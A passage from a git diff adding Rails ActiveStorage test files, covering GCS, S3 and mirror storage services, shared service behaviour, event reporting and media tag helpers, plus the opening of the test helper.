+      data     = "Something else entirely!"
+
+      config_with_cache_control = { gcs: SERVICE_CONFIGURATIONS[:gcs].merge({ cache_control: "public, max-age=1800" }) }
+      service = ActiveStorage::Service.configure(:gcs, config_with_cache_control)
+
+      service.upload(key, StringIO.new(data), checksum: Digest::MD5.base64digest(data), content_type: "text/plain")
+
+      url = service.url(key, expires_in: 2.minutes, disposition: :inline, content_type: "text/html", filename: ActiveStorage::Filename.new("test.html"))
+
+      response = Net::HTTP.get_response(URI(url))
+      assert_equal "public, max-age=1800", response["Cache-Control"]
+    ensure
+      service.delete key
+    end
+
+    test "upload with custom_metadata" do
+      key      = SecureRandom.base58(24)
+      data     = "Something else entirely!"
+      @service.upload(key, StringIO.new(data), checksum: Digest::MD5.base64digest(data), content_type: "text/plain", custom_metadata: { "foo" => "baz" })
+
+      url = @service.url(key, expires_in: 2.minutes, disposition: :inline, content_type: "text/html", filename: ActiveStorage::Filename.new("test.html"))
+
+      response = Net::HTTP.get_response(URI(url))
+      assert_equal("baz", response["x-goog-meta-foo"])
+    ensure
+      @service.delete key
+    end
+
+    test "update custom_metadata" do
+      key      = SecureRandom.base58(24)
+      data     = "Something else entirely!"
+      @service.upload(key, StringIO.new(data), checksum: OpenSSL::Digest::MD5.base64digest(data), disposition: :attachment, filename: ActiveStorage::Filename.new("test.html"), content_type: "text/html", custom_metadata: { "foo" => "baz" })
+
+      @service.update_metadata(key, disposition: :inline, filename: ActiveStorage::Filename.new("test.txt"), content_type: "text/plain", custom_metadata: { "foo" => "bar" })
+      url = @service.url(key, expires_in: 2.minutes, disposition: :attachment, content_type: "text/html", filename: ActiveStorage::Filename.new("test.html"))
+
+      response = Net::HTTP.get_response(URI(url))
+      assert_equal "text/plain", response.content_type
+      assert_match(/inline;.*test.txt/, response["Content-Disposition"])
+      assert_equal("bar", response["x-goog-meta-foo"])
+    ensure
+      @service.delete key
+    end
+
+    test "signed URL generation" do
+      assert_match(/storage\.googleapis\.com\/.*response-content-disposition=inline.*test\.txt.*response-content-type=text%2Fplain/,
+        @service.url(@key, expires_in: 2.minutes, disposition: :inline, filename: ActiveStorage::Filename.new("test.txt"), content_type: "text/plain"))
+    end
+
+    if SERVICE_CONFIGURATIONS[:gcs].key?(:gsa_email)
+      test "direct upload with IAM signing" do
+        config_with_iam = { gcs: SERVICE_CONFIGURATIONS[:gcs].merge({ iam: true }) }
+        service = ActiveStorage::Service.configure(:gcs, config_with_iam)
+
+        key      = SecureRandom.base58(24)
+        data     = "Some text"
+        checksum = Digest::MD5.base64digest(data)
+        url      = service.url_for_direct_upload(key, expires_in: 5.minutes, content_type: "text/plain", content_length: data.size, checksum: checksum)
+
+        uri = URI.parse(url)
+        request = Net::HTTP::Put.new(uri.request_uri)
+        request.body = data
+        request.add_field("Content-Type", "")
+        request.add_field("Content-MD5", checksum)
+        Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
+          http.request request
+        end
+
+        assert_equal data, service.download(key)
+      ensure
+        service.delete key
+      end
+
+      test "url with IAM signing" do
+        config_with_iam = { gcs: SERVICE_CONFIGURATIONS[:gcs].merge({ iam: true }) }
+        service = ActiveStorage::Service.configure(:gcs, config_with_iam)
+
+        key = SecureRandom.base58(24)
+        assert_match(/storage\.googleapis\.com\/.*response-content-disposition=inline.*test\.txt.*response-content-type=text%2Fplain/,
+          service.url(key, expires_in: 2.minutes, disposition: :inline, filename: ActiveStorage::Filename.new("test.txt"), content_type: "text/plain"))
+      end
+    end
+  end
+else
+  puts "Skipping GCS Service tests because no GCS configuration was supplied"
+end
diff --git a/activestorage/test/service/mirror_service_test.rb b/activestorage/test/service/mirror_service_test.rb
new file mode 100644
index 0000000000000..dc2ebc0eeeb96
--- /dev/null
+++ b/activestorage/test/service/mirror_service_test.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require "service/shared_service_tests"
+
+class ActiveStorage::Service::MirrorServiceTest < ActiveSupport::TestCase
+  mirror_config = (1..3).to_h do |i|
+    [ "mirror_#{i}",
+      service: "Disk",
+      root: Dir.mktmpdir("active_storage_tests_mirror_#{i}") ]
+  end
+
+  config = mirror_config.merge \
+    mirror:  { service: "Mirror", primary: "primary", mirrors: mirror_config.keys },
+    primary: { service: "Disk", root: Dir.mktmpdir("active_storage_tests_primary") }
+
+  SERVICE = ActiveStorage::Service.configure :mirror, config
+
+  include ActiveStorage::Service::SharedServiceTests
+  include ActiveJob::TestHelper
+
+  test "name" do
+    assert_equal :mirror, @service.name
+  end
+
+  test "uploading to all services" do
+    old_service = ActiveStorage::Blob.service
+    ActiveStorage::Blob.service = @service
+
+    key      = SecureRandom.base58(24)
+    data     = "Something else entirely!"
+    io       = StringIO.new(data)
+    checksum = OpenSSL::Digest::MD5.base64digest(data)
+
+    assert_performed_jobs 1, only: ActiveStorage::MirrorJob do
+      @service.upload key, io.tap(&:read), checksum: checksum
+    end
+
+    assert_predicate io, :eof?
+
+    assert_equal data, @service.primary.download(key)
+    @service.mirrors.each do |mirror|
+      assert_equal data, mirror.download(key)
+    end
+  ensure
+    @service.delete key
+    ActiveStorage::Blob.service = old_service
+  end
+
+  test "downloading from primary service" do
+    key      = SecureRandom.base58(24)
+    data     = "Something else entirely!"
+    checksum = OpenSSL::Digest::MD5.base64digest(data)
+
+    @service.primary.upload key, StringIO.new(data), checksum: checksum
+
+    assert_equal data, @service.download(key)
+  end
+
+  test "deleting from all services" do
+    @service.delete @key
+
+    assert_not SERVICE.primary.exist?(@key)
+    SERVICE.mirrors.each do |mirror|
+      assert_not mirror.exist?(@key)
+    end
+  end
+
+  test "mirroring a file from the primary service to secondary services where it doesn't exist" do
+    key      = SecureRandom.base58(24)
+    data     = "Something else entirely!"
+    checksum = OpenSSL::Digest::MD5.base64digest(data)
+
+    @service.primary.upload key, StringIO.new(data), checksum: checksum
+    @service.mirrors.third.upload key, StringIO.new("Surprise!")
+
+    @service.mirror key, checksum: checksum
+    assert_equal data, @service.mirrors.first.download(key)
+    assert_equal data, @service.mirrors.second.download(key)
+    assert_equal "Surprise!", @service.mirrors.third.download(key)
+  end
+
+  test "URL generation in primary service" do
+    filename = ActiveStorage::Filename.new("test.txt")
+
+    freeze_time do
+      assert_equal @service.primary.url(@key, expires_in: 2.minutes, disposition: :inline, filename: filename, content_type: "text/plain"),
+        @service.url(@key, expires_in: 2.minutes, disposition: :inline, filename: filename, content_type: "text/plain")
+    end
+  end
+
+  test "path for file in primary service" do
+    assert_equal @service.primary.path_for(@key), @service.path_for(@key)
+  end
+end
diff --git a/activestorage/test/service/registry_test.rb b/activestorage/test/service/registry_test.rb
new file mode 100644
index 0000000000000..d754eddd75b03
--- /dev/null
+++ b/activestorage/test/service/registry_test.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActiveStorage::Service::RegistryTest < ActiveSupport::TestCase
+  test "inspect attributes" do
+    registry = ActiveStorage::Service::Registry.new({})
+    assert_match(/#<ActiveStorage::Service::Registry>/, registry.inspect)
+  end
+
+  test "inspect attributes with config" do
+    config = {
+      local: { service: "Disk", root: "/tmp/active_storage_registry_test" },
+      tmp: { service: "Disk", root: "/tmp/active_storage_registry_test_tmp" },
+    }
+
+    registry = ActiveStorage::Service::Registry.new(config)
+    assert_match(/#<ActiveStorage::Service::Registry configurations=\[:local, :tmp\]>/, registry.inspect)
+  end
+end
diff --git a/activestorage/test/service/s3_public_service_test.rb b/activestorage/test/service/s3_public_service_test.rb
new file mode 100644
index 0000000000000..8f671bb3cd4b9
--- /dev/null
+++ b/activestorage/test/service/s3_public_service_test.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require "service/shared_service_tests"
+require "net/http"
+require "database/setup"
+
+if SERVICE_CONFIGURATIONS[:s3_public]
+  class ActiveStorage::Service::S3PublicServiceTest < ActiveSupport::TestCase
+    SERVICE = ActiveStorage::Service.configure(:s3_public, SERVICE_CONFIGURATIONS)
+
+    include ActiveStorage::Service::SharedServiceTests
+
+    test "public acl options" do
+      assert_equal "public-read", @service.upload_options[:acl]
+    end
+
+    test "public URL generation" do
+      url = @service.url(@key, filename: ActiveStorage::Filename.new("avatar.png"))
+
+      assert_match(/s3(-[-a-z0-9]+)?\.(\S+)?amazonaws\.com\/#{@key}/, url)
+
+      response = Net::HTTP.get_response(URI(url))
+      assert_equal "200", response.code
+    end
+
+    test "public URL generation (virtual host enabled)" do
+      url = @service.url(@key, filename: ActiveStorage::Filename.new("avatar.png"), virtual_host: true)
+
+      assert_match(/#{@service.bucket.name}\/#{@key}/, url)
+
+      response = Net::HTTP.get_response(URI(url))
+      assert_equal "200", response.code
+    end
+
+    test "direct upload" do
+      key      = SecureRandom.base58(24)
+      data     = "Something else entirely!"
+      checksum = OpenSSL::Digest::MD5.base64digest(data)
+      url      = @service.url_for_direct_upload(key, expires_in: 5.minutes, content_type: "text/plain", content_length: data.size, checksum: checksum)
+
+      uri = URI.parse url
+      request = Net::HTTP::Put.new uri.request_uri
+      request.body = data
+      request.add_field "Content-Type", "text/plain"
+      request.add_field "Content-MD5", checksum
+      Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
+        http.request request
+      end
+
+      response = Net::HTTP.get_response(URI(@service.url(key)))
+      assert_equal "200", response.code
+      assert_equal data, response.body
+    ensure
+      @service.delete key
+    end
+  end
+else
+  puts "Skipping S3 Public Service tests because no S3 configuration was supplied"
+end
diff --git a/activestorage/test/service/s3_service_test.rb b/activestorage/test/service/s3_service_test.rb
new file mode 100644
index 0000000000000..11ca847b52dce
--- /dev/null
+++ b/activestorage/test/service/s3_service_test.rb
@@ -0,0 +1,200 @@
+# frozen_string_literal: true
+
+require "service/shared_service_tests"
+require "net/http"
+require "database/setup"
+
+if SERVICE_CONFIGURATIONS[:s3]
+  class ActiveStorage::Service::S3ServiceTest < ActiveSupport::TestCase
+    SERVICE = ActiveStorage::Service.configure(:s3, SERVICE_CONFIGURATIONS)
+
+    include ActiveStorage::Service::SharedServiceTests
+
+    test "name" do
+      assert_equal :s3, @service.name
+    end
+
+    test "direct upload" do
+      key      = SecureRandom.base58(24)
+      data     = "Something else entirely!"
+      checksum = OpenSSL::Digest::MD5.base64digest(data)
+      url      = @service.url_for_direct_upload(key, expires_in: 5.minutes, content_type: "text/plain", content_length: data.size, checksum: checksum)
+
+      uri = URI.parse url
+      request = Net::HTTP::Put.new uri.request_uri
+      request.body = data
+      request.add_field "Content-Type", "text/plain"
+      request.add_field "Content-MD5", checksum
+      Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
+        http.request request
+      end
+
+      assert_equal data, @service.download(key)
+    ensure
+      @service.delete key
+    end
+
+    test "direct upload with content disposition" do
+      key      = SecureRandom.base58(24)
+      data     = "Something else entirely!"
+      checksum = OpenSSL::Digest::MD5.base64digest(data)
+      url      = @service.url_for_direct_upload(key, expires_in: 5.minutes, content_type: "text/plain", content_length: data.size, checksum: checksum)
+
+      uri = URI.parse url
+      request = Net::HTTP::Put.new uri.request_uri
+      request.body = data
+      @service.headers_for_direct_upload(key, checksum: checksum, content_type: "text/plain", filename: ActiveStorage::Filename.new("test.txt"), disposition: :attachment).each do |k, v|
+        request.add_field k, v
+      end
+      Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
+        http.request request
+      end
+
+      assert_equal("attachment; filename=\"test.txt\"; filename*=UTF-8''test.txt", @service.bucket.object(key).content_disposition)
+    ensure
+      @service.delete key
+    end
+
+    test "directly uploading file larger than the provided content-length does not work" do
+      key      = SecureRandom.base58(24)
+      data     = "Some text that is longer than the specified content length"
+      checksum = OpenSSL::Digest::MD5.base64digest(data)
+      url      = @service.url_for_direct_upload(key, expires_in: 5.minutes, content_type: "text/plain", content_length: data.size - 1, checksum: checksum)
+
+      uri = URI.parse url
+      request = Net::HTTP::Put.new uri.request_uri
+      request.body = data
+      request.add_field "Content-Type", "text/plain"
+      request.add_field "Content-MD5", checksum
+      upload_result = Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
+        http.request request
+      end
+
+      assert_equal "403", upload_result.code
+      assert_raises ActiveStorage::FileNotFoundError do
+        @service.download(key)
+      end
+    ensure
+      @service.delete key
+    end
+
+    test "upload a zero byte file" do
+      blob = directly_upload_file_blob filename: "empty_file.txt", content_type: nil
+      user = User.create! name: "DHH", avatar: blob
+
+      assert_equal user.avatar.blob, blob
+    end
+
+    test "signed URL generation" do
+      url = @service.url(@key, expires_in: 5.minutes,
+        disposition: :inline, filename: ActiveStorage::Filename.new("avatar.png"), content_type: "image/png")
+
+      assert_match(/s3(-[-a-z0-9]+)?\.(\S+)?amazonaws.com.*response-content-disposition=inline.*avatar\.png.*response-content-type=image%2Fpng/, url)
+      assert_match SERVICE_CONFIGURATIONS[:s3][:bucket], url
+    end
+
+    test "uploading with server-side encryption" do
+      service = build_service(upload: { server_side_encryption: "AES256" })
+
+      begin
+        key  = SecureRandom.base58(24)
+        data = "Something else entirely!"
+        service.upload key, StringIO.new(data), checksum: OpenSSL::Digest::MD5.base64digest(data)
+
+        assert_equal "AES256", service.bucket.object(key).server_side_encryption
+      ensure
+        service.delete key
+      end
+    end
+
+    test "upload with content type" do
+      key          = SecureRandom.base58(24)
+      data         = "Something else entirely!"
+      content_type = "text/plain"
+
+      @service.upload(
+        key,
+        StringIO.new(data),
+        checksum: OpenSSL::Digest::MD5.base64digest(data),
+        filename: "cool_data.txt",
+        content_type: content_type
+      )
+
+      assert_equal content_type, @service.bucket.object(key).content_type
+    ensure
+      @service.delete key
+    end
+
+    test "upload with custom_metadata" do
+      key      = SecureRandom.base58(24)
+      data     = "Something else entirely!"
+      @service.upload(
+        key,
+        StringIO.new(data),
+        checksum: Digest::MD5.base64digest(data),
+        content_type: "text/plain",
+        custom_metadata: { "foo" => "baz" },
+        filename: "custom_metadata.txt"
+      )
+
+      url = @service.url(key, expires_in: 2.minutes, disposition: :inline, content_type: "text/html", filename: ActiveStorage::Filename.new("test.html"))
+
+      response = Net::HTTP.get_response(URI(url))
+      assert_equal("baz", response["x-amz-meta-foo"])
+    ensure
+      @service.delete key
+    end
+
+    test "upload with content disposition" do
+      key  = SecureRandom.base58(24)
+      data = "Something else entirely!"
+
+      @service.upload(
+        key,
+        StringIO.new(data),
+        checksum: OpenSSL::Digest::MD5.base64digest(data),
+        filename: ActiveStorage::Filename.new("cool_data.txt"),
+        disposition: :attachment
+      )
+
+      assert_equal("attachment; filename=\"cool_data.txt\"; filename*=UTF-8''cool_data.txt", @service.bucket.object(key).content_disposition)
+    ensure
+      @service.delete key
+    end
+
+    test "uploading a large object in multiple parts" do
+      service = build_service(upload: { multipart_threshold: 5.megabytes })
+
+      begin
+        key  = SecureRandom.base58(24)
+        data = SecureRandom.bytes(8.megabytes)
+
+        service.upload key, StringIO.new(data), checksum: OpenSSL::Digest::MD5.base64digest(data)
+        assert data == service.download(key)
+      ensure
+        service.delete key
+      end
+    end
+
+    test "uploading a small object with multipart_threshold configured" do
+      service = build_service(upload: { multipart_threshold: 5.megabytes })
+
+      begin
+        key  = SecureRandom.base58(24)
+        data = SecureRandom.bytes(3.megabytes)
+
+        service.upload key, StringIO.new(data), checksum: OpenSSL::Digest::MD5.base64digest(data)
+        assert data == service.download(key)
+      ensure
+        service.delete key
+      end
+    end
+
+    private
+      def build_service(configuration)
+        ActiveStorage::Service.configure :s3, SERVICE_CONFIGURATIONS.deep_merge(s3: configuration)
+      end
+  end
+else
+  puts "Skipping S3 Service tests because no S3 configuration was supplied"
+end
diff --git a/activestorage/test/service/shared_service_tests.rb b/activestorage/test/service/shared_service_tests.rb
new file mode 100644
index 0000000000000..4695af821a927
--- /dev/null
+++ b/activestorage/test/service/shared_service_tests.rb
@@ -0,0 +1,161 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "active_support/core_ext/securerandom"
+
+module ActiveStorage::Service::SharedServiceTests
+  extend ActiveSupport::Concern
+
+  FIXTURE_DATA = (+"\211PNG\r\n\032\n\000\000\000\rIHDR\000\000\000\020\000\000\000\020\001\003\000\000\000%=m\"\000\000\000\006PLTE\000\000\000\377\377\377\245\331\237\335\000\000\0003IDATx\234c\370\377\237\341\377_\206\377\237\031\016\2603\334?\314p\1772\303\315\315\f7\215\031\356\024\203\320\275\317\f\367\201R\314\f\017\300\350\377\177\000Q\206\027(\316]\233P\000\000\000\000IEND\256B`\202").force_encoding(Encoding::BINARY)
+
+  included do
+    setup do
+      @key = SecureRandom.base58(24)
+      @service = self.class.const_get(:SERVICE)
+      @service.upload @key, StringIO.new(FIXTURE_DATA)
+    end
+
+    teardown do
+      @service.delete @key
+    end
+
+    test "uploading with integrity" do
+      key  = SecureRandom.base58(24)
+      data = "Something else entirely!"
+      @service.upload(key, StringIO.new(data), checksum: OpenSSL::Digest::MD5.base64digest(data))
+
+      assert_equal data, @service.download(key)
+    ensure
+      @service.delete key
+    end
+
+    test "uploading without integrity" do
+      key  = SecureRandom.base58(24)
+      data = "Something else entirely!"
+
+      assert_raises(ActiveStorage::IntegrityError) do
+        @service.upload(key, StringIO.new(data), checksum: OpenSSL::Digest::MD5.base64digest("bad data"))
+      end
+
+      assert_not @service.exist?(key)
+    ensure
+      @service.delete key
+    end
+
+    test "uploading with integrity and multiple keys" do
+      key  = SecureRandom.base58(24)
+      data = "Something else entirely!"
+      @service.upload(
+        key,
+        StringIO.new(data),
+        checksum: OpenSSL::Digest::MD5.base64digest(data),
+        filename: "racecar.jpg",
+        content_type: "image/jpeg"
+      )
+
+      assert_equal data, @service.download(key)
+    ensure
+      @service.delete key
+    end
+
+    test "downloading" do
+      assert_equal FIXTURE_DATA, @service.download(@key)
+    end
+
+    test "downloading a nonexistent file" do
+      assert_raises(ActiveStorage::FileNotFoundError) do
+        @service.download(SecureRandom.base58(24))
+      end
+    end
+
+
+    test "downloading in chunks" do
+      key = SecureRandom.base58(24)
+      expected_chunks = [ "a" * 5.megabytes, "b" ]
+      actual_chunks = []
+
+      begin
+        @service.upload key, StringIO.new(expected_chunks.join)
+
+        @service.download key do |chunk|
+          actual_chunks << chunk
+        end
+
+        assert_equal expected_chunks, actual_chunks, "Downloaded chunks did not match uploaded data"
+      ensure
+        @service.delete key
+      end
+    end
+
+    test "downloading a nonexistent file in chunks" do
+      assert_raises(ActiveStorage::FileNotFoundError) do
+        @service.download(SecureRandom.base58(24)) { }
+      end
+    end
+
+
+    test "downloading partially" do
+      assert_equal "\x10\x00\x00", @service.download_chunk(@key, 19..21)
+      assert_equal "\x10\x00\x00", @service.download_chunk(@key, 19...22)
+    end
+
+    test "partially downloading a nonexistent file" do
+      assert_raises(ActiveStorage::FileNotFoundError) do
+        @service.download_chunk(SecureRandom.base58(24), 19..21)
+      end
+    end
+
+
+    test "existing" do
+      assert @service.exist?(@key)
+      assert_not @service.exist?(@key + "nonsense")
+    end
+
+    test "deleting" do
+      @service.delete @key
+      assert_not @service.exist?(@key)
+    end
+
+    test "deleting nonexistent key" do
+      assert_nothing_raised do
+        @service.delete SecureRandom.base58(24)
+      end
+    end
+
+    test "deleting by prefix" do
+      key = SecureRandom.base58(24)
+
+      @service.upload("#{key}/a/a/a", StringIO.new(FIXTURE_DATA))
+      @service.upload("#{key}/a/a/b", StringIO.new(FIXTURE_DATA))
+      @service.upload("#{key}/a/b/a", StringIO.new(FIXTURE_DATA))
+
+      @service.delete_prefixed("#{key}/a/a/")
+      assert_not @service.exist?("#{key}/a/a/a")
+      assert_not @service.exist?("#{key}/a/a/b")
+      assert @service.exist?("#{key}/a/b/a")
+    ensure
+      @service.delete("#{key}/a/a/a")
+      @service.delete("#{key}/a/a/b")
+      @service.delete("#{key}/a/b/a")
+    end
+
+    test "compose" do
+      keys = 3.times.map { SecureRandom.base58(24) }
+      data = %w(To get her)
+      keys.zip(data).each do |key, data|
+        @service.upload(
+          key,
+          StringIO.new(data),
+          checksum: Digest::MD5.base64digest(data),
+          disposition: :attachment,
+          filename: ActiveStorage::Filename.new("test.html"),
+          content_type: "text/html",
+        )
+      end
+      destination_key = SecureRandom.base58(24)
+      @service.compose(keys, destination_key)
+
+      assert_equal "Together", @service.download(destination_key)
+    end
+  end
+end
diff --git a/activestorage/test/service_test.rb b/activestorage/test/service_test.rb
new file mode 100644
index 0000000000000..5bc250b48a783
--- /dev/null
+++ b/activestorage/test/service_test.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActiveStorage::ServiceTest < ActiveSupport::TestCase
+  test "inspect attributes" do
+    config = {
+      local: { service: "Disk", root: "/tmp/active_storage_service_test" },
+      tmp: { service: "Disk", root: "/tmp/active_storage_service_test_tmp" },
+    }
+
+    service = ActiveStorage::Service.configure(:local, config)
+    assert_match(/#<ActiveStorage::Service::DiskService name=:local>/, service.inspect)
+
+    service = ActiveStorage::Service.new
+    assert_match(/#<ActiveStorage::Service>/, service.inspect)
+  end
+end
diff --git a/activestorage/test/structured_event_subscriber_test.rb b/activestorage/test/structured_event_subscriber_test.rb
new file mode 100644
index 0000000000000..22293d8469bed
--- /dev/null
+++ b/activestorage/test/structured_event_subscriber_test.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "active_support/testing/event_reporter_assertions"
+require "active_storage/structured_event_subscriber"
+require "database/setup"
+
+module ActiveStorage
+  class StructuredEventSubscriberTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::EventReporterAssertions
+
+    test "service_upload" do
+      event = assert_event_reported("active_storage.service_upload", payload: { key: /.*/, checksum: /.*/ }) do
+        User.create!(name: "Test", avatar: { io: StringIO.new, filename: "avatar.jpg" })
+      end
+
+      assert(event[:payload][:duration_ms] > 0)
+    end
+
+    test "service_download" do
+      blob = create_blob(filename: "avatar.jpg")
+      user = User.create!(name: "Test", avatar: blob)
+
+      event = assert_event_reported("active_storage.service_download", payload: { key: user.avatar.key }) do
+        user.avatar.download
+      end
+
+      assert(event[:payload][:duration_ms] > 0)
+    end
+
+    test "service_streaming_download" do
+      blob = create_blob(filename: "avatar.jpg")
+      user = User.create!(name: "Test", avatar: blob)
+
+      event = assert_event_reported("active_storage.service_streaming_download", payload: { key: user.avatar.key }) do
+        user.avatar.download { }
+      end
+
+      assert(event[:payload][:duration_ms] > 0)
+    end
+
+    test "preview" do
+      blob = create_file_blob(filename: "cropped.pdf", content_type: "application/pdf")
+      user = User.create!(name: "Test", avatar: blob)
+
+      event = assert_event_reported("active_storage.preview", payload: { key: user.avatar.key }) do
+        user.avatar.preview(resize_to_limit: [640, 280]).processed
+      end
+
+      assert(event[:payload][:duration_ms] > 0)
+    end
+
+    test "service_delete" do
+      blob = create_blob(filename: "avatar.jpg")
+      user = User.create!(name: "Test", avatar: blob)
+
+      event = assert_event_reported("active_storage.service_delete", payload: { key: user.avatar.key }) do
+        user.avatar.purge
+      end
+
+      assert(event[:payload][:duration_ms] > 0)
+    end
+
+    test "service_delete_prefixed" do
+      blob = create_file_blob(fixture: "colors.bmp")
+      user = User.create!(name: "Test", avatar: blob)
+
+      event = assert_event_reported("active_storage.service_delete_prefixed", payload: { prefix: /variants\/.*/ }) do
+        user.avatar.purge
+      end
+
+      assert(event[:payload][:duration_ms] > 0)
+    end
+
+    test "service_exist" do
+      blob = create_blob(filename: "avatar.jpg")
+      user = User.create!(name: "Test", avatar: blob)
+
+      event = with_debug_event_reporting do
+        assert_event_reported("active_storage.service_exist", payload: { key: /.*/, exist: true }) do
+          user.avatar.service.exist? user.avatar.key
+        end
+      end
+
+      assert(event[:payload][:duration_ms] > 0)
+    end
+
+    test "service_url" do
+      blob = create_blob(filename: "avatar.jpg")
+      user = User.create!(name: "Test", avatar: blob)
+
+      event = with_debug_event_reporting do
+        assert_event_reported("active_storage.service_url", payload: { key: /.*/, url: /.*/ }) do
+          user.avatar.url
+        end
+      end
+
+      assert(event[:payload][:duration_ms] > 0)
+    end
+
+    test "service_mirror" do
+      blob = create_blob(filename: "avatar.jpg")
+
+      mirror_config = (1..3).to_h do |i|
+        [ "mirror_#{i}",
+          service: "Disk",
+          root: Dir.mktmpdir("active_storage_tests_mirror_#{i}") ]
+      end
+
+      config = mirror_config.merge \
+        mirror:  { service: "Mirror", primary: "primary", mirrors: mirror_config.keys },
+        primary: { service: "Disk", root: Dir.mktmpdir("active_storage_tests_primary") }
+
+      service = ActiveStorage::Service.configure :mirror, config
+      service.upload blob.key, StringIO.new(blob.download), checksum: blob.checksum
+
+      event = with_debug_event_reporting do
+        assert_event_reported("active_storage.service_mirror", payload: { key: /.*/, url: /.*/ }) do
+          service.mirror blob.key, checksum: blob.checksum
+        end
+      end
+
+      assert(event[:payload][:duration_ms] > 0)
+    end
+  end
+end
diff --git a/activestorage/test/template/audio_tag_test.rb b/activestorage/test/template/audio_tag_test.rb
new file mode 100644
index 0000000000000..22e0a2189ceff
--- /dev/null
+++ b/activestorage/test/template/audio_tag_test.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::AudioTagTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetTagHelper
+
+  setup do
+    @blob = create_file_blob filename: "audio.mp3"
+  end
+
+  test "blob" do
+    assert_dom_equal %(<audio src="#{polymorphic_url @blob}" />), audio_tag(@blob)
+  end
+
+  test "attachment" do
+    attachment = ActiveStorage::Attachment.new(blob: @blob)
+    assert_dom_equal %(<audio src="#{polymorphic_url attachment}" />), audio_tag(attachment)
+  end
+
+  test "error when attachment's empty" do
+    @user = User.create!(name: "DHH")
+
+    assert_not_predicate @user.name_pronunciation_audio, :attached?
+    assert_raises(ArgumentError) { audio_tag(@user.name_pronunciation_audio) }
+  end
+
+  test "error when object can't be resolved into URL" do
+    unresolvable_object = ActionView::Helpers::AssetTagHelper
+    assert_raises(ArgumentError) { audio_tag(unresolvable_object) }
+  end
+end
diff --git a/activestorage/test/template/image_tag_test.rb b/activestorage/test/template/image_tag_test.rb
new file mode 100644
index 0000000000000..ccba82dd2c2c7
--- /dev/null
+++ b/activestorage/test/template/image_tag_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::ImageTagTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetTagHelper
+
+  setup do
+    @blob = create_file_blob filename: "racecar.jpg"
+  end
+
+  test "blob" do
+    assert_dom_equal %(<img src="#{polymorphic_url @blob}" />), image_tag(@blob)
+  end
+
+  test "variant" do
+    variant = @blob.variant(resize_to_limit: [100, 100])
+    assert_dom_equal %(<img src="#{polymorphic_url variant}" />), image_tag(variant)
+  end
+
+  test "preview" do
+    blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf")
+    preview = blob.preview(resize_to_limit: [100, 100])
+    assert_dom_equal %(<img src="#{polymorphic_url preview}" />), image_tag(preview)
+  end
+
+  test "attachment" do
+    attachment = ActiveStorage::Attachment.new(blob: @blob)
+    assert_dom_equal %(<img src="#{polymorphic_url attachment}" />), image_tag(attachment)
+  end
+
+  test "error when attachment's empty" do
+    @user = User.create!(name: "DHH")
+
+    assert_not_predicate @user.avatar, :attached?
+    assert_raises(ArgumentError) { image_tag(@user.avatar) }
+  end
+
+  test "error when object can't be resolved into URL" do
+    unresolvable_object = ActionView::Helpers::AssetTagHelper
+    assert_raises(ArgumentError) { image_tag(unresolvable_object) }
+  end
+end
diff --git a/activestorage/test/template/video_tag_test.rb b/activestorage/test/template/video_tag_test.rb
new file mode 100644
index 0000000000000..a4f933a42ea58
--- /dev/null
+++ b/activestorage/test/template/video_tag_test.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::VideoTagTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetTagHelper
+
+  setup do
+    @blob = create_file_blob filename: "video.mp4"
+  end
+
+  test "blob" do
+    assert_dom_equal %(<video src="#{polymorphic_url @blob}" />), video_tag(@blob)
+  end
+
+  test "attachment" do
+    attachment = ActiveStorage::Attachment.new(blob: @blob)
+    assert_dom_equal %(<video src="#{polymorphic_url attachment}" />), video_tag(attachment)
+  end
+
+  test "error when attachment's empty" do
+    @user = User.create!(name: "DHH")
+
+    assert_not_predicate @user.intro_video, :attached?
+    assert_raises(ArgumentError) { video_tag(@user.intro_video) }
+  end
+
+  test "error when object can't be resolved into URL" do
+    unresolvable_object = ActionView::Helpers::AssetTagHelper
+    assert_raises(ArgumentError) { video_tag(unresolvable_object) }
+  end
+end
diff --git a/activestorage/test/test_helper.rb b/activestorage/test/test_helper.rb
new file mode 100644
index 0000000000000..0bd9a56d82369
--- /dev/null
+++ b/activestorage/test/test_helper.rb
@@ -0,0 +1,215 @@
+# frozen_string_literal: true
+
+require_relative "../../tools/strict_warnings"
+
+ENV["RAILS_ENV"] ||= "test"
+require_relative "dummy/config/environment.rb"
+
+require "bundler/setup"
+require "active_support"
+require "active_support/test_case"
+require "active_support/core_ext/object/try"
+require "active_support/testing/autorun"
+require "image_processing/mini_magick"
+
+require "active_support/current_attributes/test_helper"
+require "active_record/testing/query_assertions"
+
+require "active_job"
+ActiveJob::Base.queue_adapter = :test
+ActiveJob::Base.logger = ActiveSupport::Logger.new(nil)
+
+ActiveStorage.logger = ActiveSupport::Logger.new(nil)
+ActiveStorage.verifier = ActiveSupport::MessageVerifier.new("Testing")
+ActiveStorage::FixtureSet.file_fixture_path = File.expand_path("fixtures/files", __dir__)
+
+class ActiveSupport::TestCase
+  self.file_fixture_path = ActiveStorage::FixtureSet.file_fixture_path
+
+  include ActiveSupport::CurrentAttributes::TestHelper
+  include ActiveRecord::TestFixtures
+  include ActiveRecord::Assertions::QueryAssertions
+
+  self.fixture_paths = [File.expand_path("fixtures", __dir__)]
+
+  setup do
